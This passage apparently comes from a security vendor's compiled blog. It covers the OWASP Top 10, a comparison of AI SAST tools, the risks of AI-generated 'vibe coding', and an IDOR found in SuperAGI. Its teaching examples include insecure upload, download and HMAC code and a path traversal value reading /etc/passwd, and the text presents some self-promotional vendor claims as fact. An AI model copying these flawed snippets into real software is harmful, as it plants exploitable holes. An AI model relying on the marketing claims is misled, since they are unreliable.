deletion, or corruption; authentication bypass; and in some extreme cases, complete system takeover. **Prevention strategies**: - Use parameterized queries for all database operations - Validate all inputs using positive validation (allowlist) - Implement context-aware output encoding - Use modern frameworks with built-in XSS protection - Consider Content Security Policy (CSP) headers ### A04: Insecure Design **New in 2021**: Added to highlight that security must be a design consideration, not just an implementation concern. **Issue**: Architectural flaws that exist before a single line of code is written. **Real-world scenario**: A banking application that allows unlimited password attempts without any rate limiting or lockout mechanism—even perfect implementation can't fix this design flaw. **Prevention strategies**: - Establish secure development lifecycle requirements - Use threat modeling for critical authentication, access control, business logic - Integrate security language and controls into user stories - Implement security champions in development teams - Use "abuse case" testing scenarios alongside functional testing --- After reading this far, if you think there are a lot of vulnerabilities to look out for, you are right. These are merely 10 of the most common vulnerabilities, but there could be many more in production. In fact, Business Logic & Authentication Vulnerabilities are one of the most nuanced ones to capture. ZeroPath is currently the only SAST tool that can detect Business logic flaws. [If you are curious, check out how ZeroPath compares to Snyk, Semgrep, Bearer, and more.](https://zeropath.com/blog/benchmarking-zeropath) --- ### A05: Security Misconfiguration **Issue**: Improper implementation of security controls across the application stack, from servers to frameworks. **Impact**: Exposed sensitive data, default accounts enabled, overly verbose error messages revealing internal structure. **Common examples**: - Unnecessary features enabled (e.g., unused ports, services) - Default credentials unchanged - Error handling that reveals stack traces - Outdated software with known vulnerabilities - Misconfigured HTTP headers **Prevention strategies**: - Implement automated scanning for misconfiguration - Use minimal platforms without unnecessary features - Automate hardening across all environments - Remove or disable unused features and frameworks - Implement security headers (HSTS, CSP, etc.) ### A06: Vulnerable and Outdated Components **Issue**: Using components with known vulnerabilities or components that are no longer maintained. **Impact**: The Log4Shell vulnerability [CVE-2021-44228](https://zeropath.com/blog/cve-2021-44228-log4shell-log4j-rce) demonstrated how a single vulnerability in a widely-used component could affect millions of systems globally. **Prevention strategies**: - Maintain an inventory of all components and dependencies - Only obtain components from official sources via secure links - Monitor vulnerability databases for issues in your components - Remove unused dependencies, features, and documentation - Establish a patch management process with clear SLAs ### A07: Identification and Authentication Failures **Issue**: Weaknesses in how applications verify user identity and maintain authentication state. **Specific vulnerabilities**: - Credential stuffing vulnerabilities - Brute force susceptibility - Weak password storage - Missing or ineffective multi-factor authentication - Session fixation flaws **Prevention strategies**: - Implement multi-factor authentication - Avoid default credentials, especially for admin users - Check passwords against known breached databases - Limit or delay failed login attempts - Use a server-side session manager that generates random IDs ### A08: Software and Data Integrity Failures **New in 2021**: Reflects growing concerns about supply chain attacks. **Issue**: Code and infrastructure that don't verify the integrity of updates, critical data, or CI/CD pipelines. **Impact**: The SolarWinds attack demonstrated how compromised software updates could lead to widespread breaches. **Prevention strategies**: - Use digital signatures to verify software integrity - Verify libraries and dependencies come from trusted repositories - Implement review processes for code and configuration changes - Use immutable infrastructure for deployments - Ensure CI/CD pipelines include security controls ### A09: Security Logging and Monitoring Failures **Issue**: Insufficient logging of security events and inadequate monitoring of systems. **Impact**: Breaches remain undetected for an average of 200+ days, giving attackers ample time to exfiltrate data or install backdoors. **Prevention strategies**: - Ensure logs include context needed for suspicious activity identification - Encode logs correctly to prevent injection or attacks on log viewers - Implement centralized log management with correlation capabilities - Create and test incident response plans - Establish automated alerting systems for suspicious activities ### A10: Server-Side Request Forgery (SSRF) **New in 2021**: Added based on industry survey data showing its growing importance. **Issue**: The application fetches remote resources without validating user-supplied URLs. **Impact**: The 2019 Capital One breach exploited SSRF to access AWS metadata services, compromising over 100 million customer records. **Prevention strategies**: - Implement network-layer firewall rules - Force all requests through a centralized URL parser/validator - Require proper authentication for all services - Block access to internal networks (127.0.0.1, localhost, etc.) - Use URL allowlists rather than denylists where possible ## OWASP Top 10 and Other Security Standards The OWASP Top 10 holds a unique position in the security standards ecosystem. While frameworks like NIST and ISO provide comprehensive security guidance, the OWASP Top 10 offers specialized, actionable insights specifically for web application security. The relationship is symbiotic rather than competitive: - **NIST frameworks** cover enterprise-wide security controls, with OWASP providing detailed guidance on application-specific implementations - **CIS Controls** establish broad security practices, with OWASP deepening the technical guidance for web applications - **ISO 27001** creates management system requirements, with OWASP informing the technical controls ## OWASP Top 10 2025 The OWASP Top 10 2025 will likely reflect the shifting security landscape. After multiple pentest reports and industry talks, [we have a compiled a list of expected changes between OWASP 2021 and 2025.](https://zeropath.com/blog/owasp-2021-vs-2025) Based on current trends, we can expect: - Greater emphasis on API security as applications increasingly rely on microservices - Expanded focus on cloud-native security risks and infrastructure-as-code vulnerabilities - Deeper integration with DevSecOps practices and tooling - Recognition of AI/ML-specific security concerns. OWASP has already released the OWASP Top 10 for Large Language Models, showing their commitment to addressing emerging technologies. [We also have a detailed guide on how to use LLMs securely for coding.](https://zeropath.com/blog/vibe-coding-and-security) ## Conclusion The OWASP Top 10 directs attention to the most critical vulnerabilities those that repeatedly lead to real-world compromises. In doing so, it transforms application security from an overwhelming challenge into a manageable set of priorities. Although not perfect, its community-driven, practical approach ensures it stays relevant, helping security professionals manage evolving risks in application security. There are various ways to avoid introducing these vulnerabilities into production, and Static Application Security Testing (SAST) is still the most reliable method. But "grep-for-SQL-injection" scanners tend to miss out on broken business logic, authorization edge cases, multi-step exploit chains, and more. ZeroPath understands your codebase, builds a control and data-flow graph, and lets LLM agents reason over it. [Here's a detailed breakdown of how ZeroPath works behind the scenes.](https://zeropath.com/blog/how-zeropath-works) If you are looking for SAST tools, we also have a [list of AI-powered SAST tools which we believe perform the best.](https://zeropath.com/blog/top-ai-sast-tools) --- #### Top AI SAST tools in 2025 - **Date**: May 5, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: AI SAST, AI SAST tools, AI SAST tools in 2025, Top AI SAST tools, Best AI SAST tools, AI SAST tools comparison, AI SAST tools review, AI SAST tools pros and cons - **URL**: https://zeropath.com/blog/top-ai-sast-tools We tested all the top AI SAST tools in the market and compiled a list with pros and cons for each tool. Hopedully this will help you make an informed decision on which AI SAST tool fits your needs. --- # Top AI SAST tools in 2025 A lot of static analysis has already been shaped or is currently under change, thanks to the latest models. What used to be noisy vulnerability scanners are now smarter tools that prioritize, explain, and patch issues for you. But not all "AI-powered" SAST tools are created equal. Some add the contextual power of AI on top of old rule engines. Others rethink how code and risk should be analyzed from the ground up. Here's a breakdown of the most talked-about tools in 2025: what they do well, where they fall short, and how they fit into a security workflow. ## ZeroPath While other SAST tools are built on legacy engines that functions on rule-based checks. ZeroPath takes a different approach outlined in our How it Works. The team has rebuilt a SAST engine from the ground up around LLMs and traditional static analysis to reason about how the application behaves, what’s reachable, and where real risks lie. ![ZeroPath SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/zeropath.png "SAST Dashboard Screenshot") **Where it works well:** - Uses architectural context and application logic to flag vulnerabilities (even business logic bugs) - Finds vulns traditionally out of scope for SAST - Supports natural language custom rules - Catches traditional vulns at lowest false positive rates in the industry - Feels more like a security assistant than a scanner - Patches vulns automatically **Where it struggles:** - Takes a bit of a mindset shift if you're used to rule-heavy SAST workflows - PR scans are fast, but the first full scan is long on large repos - Some of the more advanced features are only in enterprise tiers ## Snyk Code Snyk initially started in the SCA space but has built a strong SAST offering. It plugs into your IDE or GitHub workflow and flags vulnerabilities as you type (pretty cool). ![Snyk SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/snyk.jpg "SAST Dashboard Screenshot") **Where it works well:** - Provides real-time feedback in editors like VS Code and JetBrains IDEs - AI-powered suggestions make remediation easy for common issues - Support for popular web stack languages like JavaScript, Python, Java, and Go - Simple setup and integration make it easy for small dev teams **Where it struggles:** - Doesn’t go very deep. Multi-file dataflow issues can slip - Doesn't support custom rules or deeper security customization - Costs add up fast with larger teams - Can misfire with safe code depending on context ## Checkmarx Checkmarx is a heavyweight in the AppSec world, used by large organizations with complex stacks. The platform goes beyond SAST, covering cloud and software supply chain security, but SAST is still its core. ![Checkmarx SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/checkmarx.webp "SAST Dashboard Screenshot") **Where it works well:** - Supports over 35 languages and 80 frameworks, including legacy systems - Allows for custom rule writing through its query builder - Integrates well with DAST tools for more complete coverage **Where it struggles:** - Limited support for mobile platforms and some gaps in Swift, C, and C++ - Initial setup is heavy and requires infrastructure planning - DevOps integration isn’t always smooth, especially in fast-moving teams - The interface is hard to navigate, especially for devs trying to triage results ## Veracode Veracode offers cloud-based static analysis and is often chosen by companies focused on governance and compliance. It's designed more for security teams than developers. ![Veracode SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/veracode.png "SAST Dashboard Screenshot") **Where it works well:** - Excels at scanning enterprise-scale applications with broad language support - AI-powered remediation suggestions help reduce triage time - Well-suited for centralized security teams running security gates in CI/CD **Where it struggles:** - Takes longer to learn and operate than more developer-friendly tools - Full scans are slower than most cloud-native competitors - False positives are common and require manual cleanup - Pricing is too high for startups or smaller engineering teams ## Semgrep Semgrep is built for speed and customization. It’s rule-based, open-source, and designed to let you write your own checks without needing to understand abstract syntax trees. They have started integrating AI to help with rule generation and triage. ![Semgrep SAST Dashboard]( https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/semgrep.png "SAST Dashboard Screenshot") **Where it works well:** - Scans are fast. Good for every PR, every push - Custom rules can be created in minutes using familiar syntax - Strong community with thousands of shared rules and active support **Where it struggles:** - Doesn’t track data across multiple files or functions unless manually encoded - Out-of-the-box rules can be noisy or miss context-sensitive issues - Requires security engineering effort to maintain and scale effectively - Fix guidance is minimal. You often get a warning and you have to figure out the rest ## Final Thoughts Each of these tools serves a different kind of organization. Snyk is well-suited for engineering teams that prioritize speed and tight integration with developer workflows. Checkmarx and Veracode offer the depth and controls expected in large, regulated environments. Semgrep gives security engineers flexibility, but it requires more hands-on rule management. ZeroPath is built for security teams that want clarity and actionability, especially with reduced noise. We focus on showing which vulnerabilities actually matter in the context of how your application works, where they can be reached, and how they’re best resolved. It reduces triage overhead, shortens remediation cycles, and improves how security and engineering teams work together. We understand if there are too many comparisons going on in your head right now. Therefore, to make the decision-making easier, we wrote these blogs: - [We found vulns that synk, semgrep missed in repos with 15k+ stars](https://zeropath.com/blog/0day-discoveries) - [How ZeroPath helps you maintain security in Vibe coding](https://zeropath.com/blog/vibe-coding-and-security) --- #### Security in Vibe Coding: The most common vulnerabilities and how to avoid them - **Date**: April 19, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 8 minutes - **Keywords**: Vibe Coding, Vibe Coding & Security, Vulnerabilities in AI Generated Code, Ways to maintain security in Vibe Coding - **URL**: https://zeropath.com/blog/vibe-coding-and-security Diving into the security implications of Vibe coding. We explore common vulnerabilities with examples and best practices to avoid them. --- Generative coding is exceptionally fast and efficient. With a simple prompt requesting an endpoint, you can have routes, business logic, and database queries wired together in seconds. The code runs, tests pass, and CI is green. When errors do occur, they're quickly fixed by highlighting the terminal error, letting the model interpret it, and implementing the fix—often before you've had time to analyze the issue yourself. This speed comes with security risks. AI-generated code can introduce production-grade vulnerabilities that bypass traditional SAST tools, survive CI/CD pipelines, and reach production. These include remote code execution vulnerabilities, authentication bypasses, and logic flaws—all in code that appears functional and correct at first glance. ## What Is Vibe Coding The term "vibe coding" originated from a tweet by Andrej Karpathy and has since gained significant popularity, even being recognized by Merriam-Webster as trending slang. ![alt text](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/image%20(3).png) Vibe coding extends beyond merely using AI for development—it involves relying on it as the primary development mechanism. Developers prompt an LLM, accept the output wholesale, and proceed without validation or threat modeling. This approach has become standard practice when developing with tools like Copilot, Cursor, and internal chat-based development agents. While it accelerates iteration, it often produces functionally working code that contains structural security flaws. ## What Makes Vibe Coding Risky ### Pattern Completion Over Intent LLMs function by predicting the next most probable token rather than applying security engineering principles. They prioritize fulfilling functional requirements over security considerations. Consider this prompt: `Build me a file upload server using Express and Multer` ```js // imports const storage = multer.diskStorage({ destination: (req, file, cb) => { const uploadDir = 'uploads'; if (!fs.existsSync(uploadDir)) { fs.mkdirSync(uploadDir); } cb(null, uploadDir); }, filename: (req, file, cb) => { const uniqueName = Date.now() + '-' + file.originalname; cb(null, uniqueName); } }); const upload = multer({ storage }); app.post('/upload', upload.single('file'), (req, res) => { if (!req.file) return res.status(400).send('No file uploaded.'); res.send(`File uploaded: ${req.file.filename}`); }); app.listen(PORT, () => { console.log(`Server running on http://localhost:${PORT}`); }); ``` The code works as requested—it handles uploads and provides frontend progress indication. But critical security measures are absent because they weren't explicitly required: * No file type validation. You can upload .php, .exe, .jsp, or anything else. If this server sits behind NGINX or Apache with misconfigurations, you now have an RCE. * No filename sanitization. ```file.originalname``` is user-controlled input. A user can send ```../../../etc/passwd``` or ```../evil.js```, and if you lack sandboxing, you're now facing path traversal. The code satisfies functional requirements but fails to implement security best practices, creating vulnerabilities that basic testing won't catch. ### No Awareness of System Boundaries LLMs generate code at the function level without considering system-level architectural constraints like session state, service interactions, or permission enforcement. This lack of architectural thinking leads to broken access controls, missing state checks, and logic flaws that only become apparent in broader contexts. For example, requesting a document download API: ``` build an API to allow users to download documents they’ve uploaded. ``` ```js // ... upload logic ... // Download route app.get('/download/:filename', (req, res) => { const filePath = path.join(__dirname, 'uploads', req.params.filename); if (fs.existsSync(filePath)) { res.download(filePath); } else { res.status(404).json({ error: 'File not found' }); } }); ``` The code functions correctly but contains significant security gaps: * No user context or authentication middleware to associate files with specific users * No ownership verification allows anyone who knows or guesses a filename to download arbitrary files * No access model to restrict file access based on permissions These aren't merely bugs but fundamental design oversights. The model delivers functional code without addressing essential security boundaries. ### **Training on Insecure Patterns**: LLMs primarily learn correlation patterns from massive datasets containing GitHub repositories, tutorials, and StackOverflow threads—sources that often contain more insecure examples than secure ones. Let's say you prompt: ```Write a Flask middleware to verify an HMAC signature header on incoming requests``` ```py import hmac import hashlib from flask import request, abort SECRET = b'supersecretkey' def verify_signature(): signature = request.headers.get("X-Signature") body = request.get_data() expected = hmac.new(SECRET, body, hashlib.sha256).hexdigest() if signature != expected: abort(401) ``` At first glance, the code appears correct. It validates signatures similar to webhook validators or API gateways. However, a subtle vulnerability exists: * The code uses `==` for HMAC comparison instead of a constant-time comparison, creating vulnerability to timing-based side-channel attacks. This vulnerability likely won't appear in tests or reviews, but could enable gradual brute-forcing of signatures by observing response times. ## How to maintain security in vibe coding While "review all AI-generated code" or "label AI-generated code in your codebase" are sound recommendations, they may not be practical given the productivity benefits of these tools. Here are more realistic strategies: ### Integrate code scanning tools or SAST: SAST refers to Static Application Security Testing. These tools analyze your source code, bytecode, or binaries for vulnerabilities without actually executing the program. Think of them as a security-focused linter. They flag issues like SQL injection, command injection, and insecure function usage directly from your codebase. ​ Traditionally, while SAST has been really helpful in maintaining security, we at ZeroPath have redesigned the technology to leverage LLMs. This architectural change has reduced the number of false positives and has helped us detect business logic issues in some large open-source repos. - **Development Stage**: Use code scanning tools that integrate with your AI workflow (inside cursor, windsurf, etc) to catch vulns. You can run your scans on ZeroPath and interact with them by hooking your IDE to [ZeroPath's MCP servers](https://zeropath.com/blog/chat-with-your-appsec-scans). - **Production Stage**: Integrate SAST into CI/CD pipelines to prevent vulnerabilities from reaching deployment, with tools like ZeroPath that can automatically create pull requests with patches that you can review and merge. The goal here is to have independent tools verify your code before the end user uses it. If the pipeline has linting and security tests, they should flag things like “input not sanitized” or “insecure HTTP connection”. ### Security based prompt engineering: Enhance AI outputs by explicitly incorporating security requirements in your prompts. This means explicitly prompting the AI agent to prioritize security in its output. Rather than requesting "write a file upload function," specify "write a secure file upload function that checks file type and size and prevents path traversal." For IDE tools like Cursor that support rule systems, create security-focused rule files. These are ```.mdc``` files in ```.cursor/rules```: ```md --- description: Enforce security in code generation globs: "**/*" alwaysApply: true --- - Validate all user inputs to prevent injection attacks. - Sanitize and encode outputs to mitigate XSS vulnerabilities. - Implement proper authentication and authorization checks. - Use HTTPS for all external communications. - Avoid hardcoding secrets or credentials in the codebase. ``` More about the rules file [here](https://docs.cursor.com/context/rules#domain-specific-guidance). ### 2-Stage AI Prompting: Implement a simple but effective approach: prompt the AI twice—first to implement the feature, then to review and improve its own output for security issues. After receiving the initial solution, follow up with: "Now review this code for any security vulnerabilities or mistakes and fix them." This second-pass review often catches obvious security issues, functioning like an integrated static analysis. ## Conclusion Vibe coding is cool. It reduces barriers for developers and increases development accessibility. However, its security limitations require vigilance—whether through code review, specialized security tools, or supplementary manual coding. The security landscape is evolving to integrate with AI code generation, but until that integration matures, developers must implement additional measures to ensure AI-generated code meets security standards. --- #### Is AI SAST a meme? - **Date**: April 8, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 6 minutes - **Keywords**: AI SAST, ZeroPath, Application Security, Security Testing, Developer Tools - **URL**: https://zeropath.com/blog/is-ai-sast-a-meme An honest breakdown of the benefits and downsides of AI-powered security testing. We explore ZeroPath's approach to contextual understanding, natural language rules, and automated remediation while acknowledging the limitations. --- ![Distracted boyfriend meme with developer looking at ZeroPath finding a bug while ignoring manual code review](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/ai-sast-distracted_gf.png) The security industry loves its buzzwords, and "AI-powered SAST" might seem like the latest marketing gimmick. But behind this terminology lies a fundamental shift in how we approach code security. At ZeroPath, we've been tackling a problem that has plagued static analysis for decades: false positives that waste developer time and erode trust in security tools. Like any technology, our approach has both strengths and limitations, which we'll explore throughout this post. No tool is perfect, and being transparent about where AI SAST excels and where it struggles is crucial for teams to make informed decisions. ## What is AI-powered SAST, really? Traditional Static Application Security Testing (SAST) tools scan source code for patterns that match known vulnerability signatures. They're essentially sophisticated pattern matchers—effective for finding textbook issues but notoriously bad at understanding context. AI-powered SAST fundamentally changes this approach. Instead of just pattern matching, it builds an Abstract Syntax Tree (AST) of your code and analyzes it with language models. It tracks data flows through your application, maps component interactions, and examines security control implementations. This structural analysis helps reason about security in ways that traditional SAST cannot. We discuss these advancements in detail in our recent blog post on [AI Model Progress](https://zeropath.com/blog/on-recent-ai-model-progress). For monorepos or complex repositories, the system identifies distinct applications and their relationships, gathering information about each app's purpose, tech stack, authentication mechanisms, and architecture. This application-level awareness provides context for security findings. ## The False Positive Problem Traditional SAST tools operate primarily through pattern matching and predefined rules. While effective at finding textbook vulnerabilities, they struggle with contextual understanding, leading to an overwhelming number of false positives. Let's examine the types of false alarms that have made developers rightfully skeptical of SAST results. ## Common False Positives ZeroPath Eliminates ### Sanitized Input Misidentification Traditional SAST tools often flag inputs as dangerous even when they've been properly sanitized elsewhere in the codebase. ZeroPath's contextual understanding tracks data flow comprehensively, recognizing when potentially dangerous inputs have been properly validated or sanitized before use. For example, when analyzing a Python web application, ZeroPath won't flag sanitized database queries as SQL injection risks if it can verify that proper ORM methods or parameterized queries are used, even if the sanitization happens several function calls away from the final execution. ### Framework-Aware Analysis Many frameworks provide built-in security protections that traditional SAST tools miss. ZeroPath understands modern frameworks' security models and won't flood you with alerts for "vulnerabilities" that are actually protected by framework safeguards. When scanning a React application using properly implemented JSX, ZeroPath knows that XSS vulnerabilities are mitigated by React's automatic output encoding, while traditional tools might flag every dynamic content insertion as a potential XSS vector. ### Test Code Differentiation Many SAST tools generate alerts for intentionally vulnerable code in test files. ZeroPath intelligently separates test code from production code, understanding that mock vulnerabilities in tests don't represent actual security risks. ### Dead Code Elimination Traditional SAST tools frequently flag vulnerabilities in code that isn't actually accessible in the running application. ZeroPath maps the actual entry points and execution paths of your application, identifying which code can actually be reached from external sources. This prevents alerts on technically vulnerable but practically unexploitable code that's never executed in production environments. ## The Real Challenges Every security tool has strengths and limitations. Here are some challenges we're actively working to address: ### Business Logic False Positives Despite our contextual analysis, detecting business logic vulnerabilities remains challenging. ZeroPath can still produce false positives when analyzing complex authorization schemes or multi-step business processes, particularly when business rules are implemented across multiple services or repositories. For example, a potential Insecure Direct Object Reference (IDOR) might be flagged even though authorization is properly handled through a separate microservice that ZeroPath doesn't have visibility into during single-repository scans. ### Scan Performance on Large Codebases While pull request scans are optimized for speed, initial full-repository scans on large codebases can be time-consuming. The depth of analysis required for contextual understanding comes with computational cost. Repositories exceeding several hundred thousand lines of code might experience longer initial scan times compared to traditional SAST tools. ### Middleware Detection Challenges One of our more frustrating limitations involves middleware detection. Depending on framework configurations, ZeroPath sometimes struggles to correctly identify security controls implemented in middleware layers. This can lead to false positives where the tool flags issues that are actually being mitigated by middleware components. For example, in Express.js applications with custom authentication middleware, ZeroPath might flag endpoints as lacking proper authentication if the middleware is applied through non-standard patterns or dynamic route configuration. Fortunately, our context feature allows you to provide additional information about your middleware implementation to prevent these false positives, but this requires manual input. ### Third-Party Dependency Limitations ZeroPath generates an Abstract Syntax Tree (AST) for your application code, but a significant limitation is our handling of third-party dependencies. We don't analyze the internal code of dependencies, which can cause blind spots in security analysis. This becomes particularly problematic with frameworks that use callbacks, hooks, or dynamic function invocation patterns. For example, if your application uses a framework that implements security controls through dynamically registered handlers or middleware, ZeroPath might not correctly trace these execution paths, potentially leading to false positives or missed vulnerabilities. While our dependency scanning identifies known vulnerable packages, the deeper interaction between your code and third-party libraries may not be fully captured in our analysis model. ### Multi-Repository Architecture Challenges Complex applications spanning multiple repositories can present challenges for comprehensive security analysis. ZeroPath works best when it can trace execution flows fully, which can be limited when analyzing single repositories in isolation. ## Addressing Business Logic and Context When the system flags potential issues that turn out to be false positives in your specific environment, you can provide additional context through natural language input. This helps refine the analysis for your particular codebase. For example, if you've implemented custom authorization logic that isn't automatically recognized, explaining this implementation helps the system incorporate this context in subsequent scans. ``` Developer: Is this IDOR vulnerability exploitable if we've implemented role-based access control at the API gateway level? ZeroPath: Based on your code, I can see that the API gateway implements role checks, but the vulnerability exists because the user ID parameter in the /api/documents/:id endpoint is only validated for format, not ownership. An attacker with a valid session could still access another user's documents by changing the ID parameter, bypassing the role checks. ``` ## How We Approach Findings When potential vulnerabilities are detected, the system allows for interactive analysis. Developers can query the findings with specific questions: 1. "Show me the execution path for this vulnerability" 2. "Generate a curl command that would trigger this issue" 3. "How would you modify this patch to use our validation library?" This direct interaction with findings helps reduce time spent on investigation and remediation planning. ## Technical Implementation Details At a technical level, we've focused on analyzing codebases as complete systems rather than isolated snippets. This approach has practical implications for security analysis: First, we build a comprehensive source inventory that catalogs all entry points in your application - HTTP endpoints, WebSockets, and similar interfaces. This mapping helps identify which parts of the codebase are actually exposed to potential attackers. We've also implemented natural language processing for security policy definition. You can define rules in plain English instead of specialized syntax, which simplifies the creation and maintenance of security standards. For vulnerability prioritization, we use standard CVSS scoring to ensure consistent risk assessment. This helps development teams focus on fixing the most critical issues first based on objective criteria. ## The Bottom Line Is AI SAST a meme? In some ways, the term has become overused in marketing materials across the industry. However, there are genuine technical advancements in how static analysis can be performed. Tools like ZeroPath can reduce false positives and identify complex vulnerabilities that traditional pattern-matching would miss. The ability to understand code in context helps filter out many of the false alarms that have made previous generations of SAST tools frustrating to use. That said, no tool solves all problems. There are still challenges with complex business logic, third-party dependencies, and multi-repository architectures. Like any security technology, these tools work best as part of a broader strategy that includes different testing methodologies and human expertise. The practical value isn't in buzzwords but in concrete capabilities: interactive finding analysis, contextual code understanding, and meaningful prioritization of legitimate issues. These improvements help security and development teams work more efficiently, even if they don't represent the revolutionary change that some marketing might suggest. If this is something you are interested in, we have a blog where we show you [how to do Security Research with ZeroPath.](https://zeropath.com/blog/security-research-with-zeropath) --- ### Security Research (1 most recent of 1 total) #### How to do Security Research with ZeroPath - **Date**: April 4, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 4 minutes - **Keywords**: AI SAST, ZeroPath, Application Security, Security Testing, Developer Tools - **URL**: https://zeropath.com/blog/security-research-with-zeropath A practical guide on using AI SAST with ZeroPath to perform security research. --- ## Introduction It's trivial, but security researchers, even bug bounty hunters, often begin their research by running SAST tools, just to check for low hanging fruit. If the target you're looking at isn't well tested, running CodeQL or some other static analysis tool just to get started can be a productive use of time. The new breed of AI SAST tools are pretty definitively more powerful than their basic static-analysis driven predecessors, and expand the scope of bugs you can quickly grep for. If you weren't using them befeore, it makes sense to reevaluate. Unfortunately however, a lot of security researchers are unaware of what these tools can do by default, or don't understand how to configure them for the code they're looking at. Here's how the ZeroPath team uses ZeroPath to find bugs in open source repositories. --- ## Select Your Targets First, target selection: ZeroPath isn't going to find you any WordPress 0days (yet). It helps to pick a popular but new repository on the github trending list. When the team is spelunking we usually look for web applications between 500 and 10000 github stars that have been updated in the last few months. For this example we will use SuperAGI, an “Open-source framework to build, manage and run useful Autonomous AI Agents” ![SuperAGI](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_github.PNG) ## Running Your First Scan Before configuring any custom settings, it usually makes sense to run a basic scan so that you can see what kind of results ZeroPath will return for the repository by default. Among other import methods, ZeroPath lets you scan code at any live github URL, or upload a zip archive of the source manually. After the scan is complete, you can view the number of results and navigate to the issues page by clicking on our scan. Here were the results when we tried: ![Many_Issues](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_issues.PNG) Clearly, our tool did not report 65 independently high value exploitable bugs for the SuperAGI repo; most of these are going to be false positives. To help with triage, for each potential finding, ZeroPath will give you a natural language description, an explanation of what associated request handler, a description of the application the bug was found on, and a CVSS ranking with subscores determined by the AI. ![superagi_partial](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_partial_view.PNG) Additionally, you go to the explorer tab, you can also get a list of all code points in the application that receive external traffic. Even if you're not using the findings this can help with recon and giving you a sense of the app's surface area. In SuperAGI's case, this will show us all extant HTTP endpoints. ![superagi_explorer](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_explorer.PNG) In our experience, looking at the first ten or so issues is sufficient to see if ZeroPath did well the first try. ## Customizing ZeroPath's SAST Sometimes ZeroPath will need some configuration; like if there are important details about the app that aren't available in the source. For example, let's say that for this application, I know that all the /intrnl/\*\*/\* endpoints are only exposed internally, and not to the wider internet. With AI SAST tools, I can just explain this to the AI in my own words, by adding repo context. Then when I rescan, the AI will take into account that information when reporting security bugs. ![repo_context](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/repo_context.PNG) By phrasing instructions as contextual information, you can progressively narrow the scan results until the findings are excluded to the kinds of issues you want. For example, you can: - Tell the AI that certain inputs are sanitized by an external router. - Tell the AI that broken auth issues are out of scope for its assessment. - Tell the AI that a @foo decorator applies some filtering or authentication checks. Additionally, you can also give the AI extra details to alert on. These are called "natural language rules" and when you specify them the AI will scan the code for the violations that you specify. For instance, you can ask it to look for any endpoint that's declared without a specific decorator attached: ![custom_rule](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/custom_rule_full.PNG) ## Finding Real-World Security Vulnerabilities During our review of the SuperAGI project, we found a legitimate Insecure Direct Object Reference (IDOR) vulnerability in the /get/{resource_id} route very quickly. The `download_file_by_id` function which this route serves would respond with files based on a user supplied resource_id, without performing any authorization checks on that resource_id for the user. ![super_agi_idor](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/superagi_idor_full.PNG) The actual finding from the scan is shown above, and you may notice the status is "patched". This is because we generated a security fix and submitted the [PR](https://github.com/TransformerOptimus/SuperAGI/pull/1448) to the SuperAGI maintainers, which got merged. ## Detecting Business Logic Vulnerabilities Particularly because up until now there has been no easy way to scan for these types of vulnerabilities, we've had a high success rate in finding business logic vulnerabilities across many apps. These issues traditionally require lots of manual labor to find, because there's no simple way to grep for them. In applications where there are hundreds or thousands of endpoints, having a human review each one for authorization and similar flaws is time consuming. Hopefully as AI SAST gets better this will be less and less the case. ## Conclusion Overall, AI SAST is not perfect, but we think it's currently a force multiplier for security research and will only keep improving overtime. It's helped us in both pentests and in security research to find issues that might have been overlooked or required a lot of manual effort to find. If you're a security researcher who utilizes SAST tools, we'd be happy if you gave ours a try and let us know how it does, especially repos it currently struggles on. Happy hunting! --- ## Company Information ### About ZeroPath - **Mission**: Security that doesn't slow you down - **Focus**: AI-powered application security - **Website**: https://zeropath.com ## Resources & Support ### Documentation - **API Reference**: https://zeropath.com/docs - **Getting Started Guide**: https://zeropath.com/docs ### Community & Events - **Open Source**: https://github.com/ZeroPathAI - **Blog**: Regular updates and security insights ### Support Channels - **Email**: support@zeropath.com - **Status Page**: https://status.zeropath.com ## Legal & Compliance ### Data Security - **Encryption**: AES-256 at rest, TLS 1.3 in transit - **Architecture**: Zero-trust, scan-and-forget design - **Certifications**: SOC 2 Type II, ISO 27001 (pending) - **Penetration Testing**: Quarterly by independent firms ### Privacy & Terms - **Privacy Policy**: https://zeropath.com/privacy - **Terms of Service**: https://zeropath.com/terms - **Data Processing Agreement**: Available for enterprise - **Security Whitepaper**: Available upon request ## Contact Information ### Sales & Partnerships - **Schedule Demo**: /demo - **Sales Email**: sales@zeropath.com - **Partner Program**: partners@zeropath.com ### Media & Press - **Media Contact**: press@zeropath.com ### Social Media - **LinkedIn**: https://www.linkedin.com/company/zeropathai - **X (Twitter)**: https://x.com/zeropathai - **X (ZeroPath Labs)**: https://x.com/ZeroPathLabs - **YouTube**: https://www.youtube.com/@ZeroPathAI - **GitHub**: https://github.com/ZeroPathAI --- ## Summary ZeroPath represents the future of application security - where AI and human expertise combine to protect code without slowing down development. With our comprehensive platform, enterprises can achieve both speed and security, developers can focus on building rather than fixing false positives, and security teams can finally stay ahead of threats. **Ready to transform your application security?** - 🚀 Start Free Trial: https://auth.zeropath.com - 📅 Schedule Demo: /demo - 📧 Contact Sales: sales@zeropath.com --- *Last Updated: 2026-01-23T23:27:37.809Z* *Generated with ZeroPath llms.txt - Optimized for AI 